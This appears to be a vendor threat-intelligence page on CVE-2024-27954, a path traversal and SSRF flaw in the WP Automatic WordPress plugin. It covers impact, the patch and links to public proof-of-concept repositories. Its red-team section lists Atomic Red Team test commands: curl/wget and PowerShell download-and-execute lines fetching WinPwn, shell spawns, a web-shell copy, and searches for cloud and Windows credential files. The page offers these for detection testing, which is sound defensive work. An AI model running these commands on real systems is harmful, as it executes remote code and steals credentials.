CVE-2024-27954
Overview
This vulnerability is a Path Traversal and Server Side Request Forgery (SSRF) flaw rooted in improper validation of file path inputs within the downloader.php component of the WP Automatic plugin. The plugin fails to restrict pathname inputs to a designated directory, allowing attackers to manipulate file paths outside the intended scope. This lack of input sanitization in versions up to 3.92.0 enables unauthorized file access and SSRF vectors.
Vulnerability Description
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Automatic Automatic allows Path Traversal, Server Side Request Forgery.This issue affects Automatic: from n/a through 3.92.0.
Impact
An unauthenticated attacker can exploit this vulnerability to download arbitrary files from the web server, including sensitive information like login credentials and backup data. Furthermore, the SSRF capability allows the attacker to make unauthorized HTTP requests from the server, potentially accessing internal network services or external systems. These actions can lead to data breaches and further network reconnaissance or exploitation without requiring any user interaction or valid credentials.
Solution
Upgrade the WP Automatic plugin to version 3.92.1 or later, where the vulnerability is patched. Refer to the official Patchstack advisory and the plugin vendor’s update notes for detailed patch instructions. Applying this update will restrict pathname inputs appropriately and mitigate the arbitrary file download and SSRF issues.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability characterized by improper limitation of a pathname to a restricted directory, commonly referred to as a path traversal vulnerability, presents significant security risks in the WP Automatic Automatic plugin. This flaw allows attackers to manipulate file paths in a way that can lead to unauthorized access to sensitive files on the server. Specifically, the vulnerability arises from inadequate validation of user input, which permits an attacker to traverse the directory structure of the server. By exploiting this weakness, an attacker can potentially access files outside of the intended directory, leading to exposure of sensitive information or even the execution of arbitrary code.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker may craft a malicious request that includes specially formatted path traversal sequences, such as "../", to navigate through the directory hierarchy. This can be done via web forms, API calls, or any other input mechanism that interacts with the file system. Once the attacker successfully exploits the vulnerability, they can perform actions such as reading sensitive configuration files, accessing user data, or even executing server-side scripts. In more advanced scenarios, the attacker may leverage this access to conduct server-side request forgery (SSRF) attacks, allowing them to interact with internal services or other network resources that are otherwise protected from external access.
The real-world impact of such vulnerabilities can be profound, particularly for organizations relying on the affected plugin for their operations. The potential for data breaches is significant, as attackers could gain access to sensitive information, including user credentials, API keys, or database connection strings. This exposure can lead to further attacks, including data theft, service disruption, or even complete system compromise. The business risks associated with such vulnerabilities extend beyond immediate financial losses; they also encompass reputational damage, regulatory penalties, and loss of customer trust. Organizations that fail to address these vulnerabilities may find themselves facing legal repercussions, especially if sensitive data is exposed.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, regular security assessments, including vulnerability scanning and penetration testing, should be conducted to identify and remediate weaknesses in the application. Additionally, input validation and sanitization should be enforced rigorously to prevent malicious path traversal attempts. Employing web application firewalls (WAFs) can also provide an additional layer of defense by filtering out potentially harmful requests before they reach the application. Furthermore, keeping the WP Automatic Automatic plugin and any associated dependencies up to date is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the improper limitation of pathnames to a restricted directory in the WP Automatic Automatic plugin poses a significant threat to the security of web applications. The ability for attackers to exploit this vulnerability can lead to severe consequences, including unauthorized access to sensitive information and potential systemic compromise. Organizations must prioritize the detection and mitigation of such vulnerabilities through proactive security measures, ensuring that their applications remain resilient against evolving threats. By fostering a culture of security awareness and implementing robust security practices, organizations can better protect themselves from the risks associated with path traversal vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-27954, with new proof-of-concept exploits emerging on public repositories. Although the EPSS score has decreased moderately, indicating a slight reduction in overall exploit probability, the surge in detection activity signals increased attacker interest and active testing of this vulnerability in the wild. This divergence suggests that while broad exploitation campaigns may not yet be widespread, targeted attacks or reconnaissance efforts are intensifying. For defenders, this shift underscores the importance of heightened monitoring and rapid response capabilities, as adversaries are actively refining their methods. The evolving exploit landscape, now enriched with additional publicly available tools, lowers the barrier for threat actors to weaponize this critical path traversal flaw, maintaining a high threat level despite the modest EPSS decline.
Update 2 — July 06, 2026
CSURFACE threat intelligence has identified a slight increase in exploitation attempts targeting CVE-2024-27954, reflected by a moderate uptick in telemetry detections. Although the overall EPSS score remains stable, the emergence of additional publicly available proof-of-concept exploits has lowered the technical barrier for adversaries to weaponize this critical path traversal vulnerability. This development signals an expanding toolkit for threat actors, which could facilitate more frequent or sophisticated attacks. While broad-scale exploitation campaigns have not yet materialized, the incremental rise in activity suggests adversaries are intensifying reconnaissance and targeted exploitation efforts. For defenders, this evolving landscape emphasizes the need for sustained vigilance, as the vulnerability continues to present a high-risk vector with increased exploitation potential.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
gh-ost00/CVE-2024-27954
Automatic Plugin for WordPress < 3.92.1 Multiples Vulnerabilities
|
gh-ost00 | 4 | 1 | 2024-10-29 | View |
|
chsxthwik/CVE-2024-27954
|
chsxthwik | 1 | 1 | 2024-10-30 | View |
|
r0otk3r/CVE-2024-27954
|
r0otk3r | 0 | 0 | 2025-07-10 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-27954 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/wp-automatic/wordpress-automatic-plugin-3-92-0-unauthenticated-arbitrary-file-download-and-ssrf-vulnerability?_s_id=cve |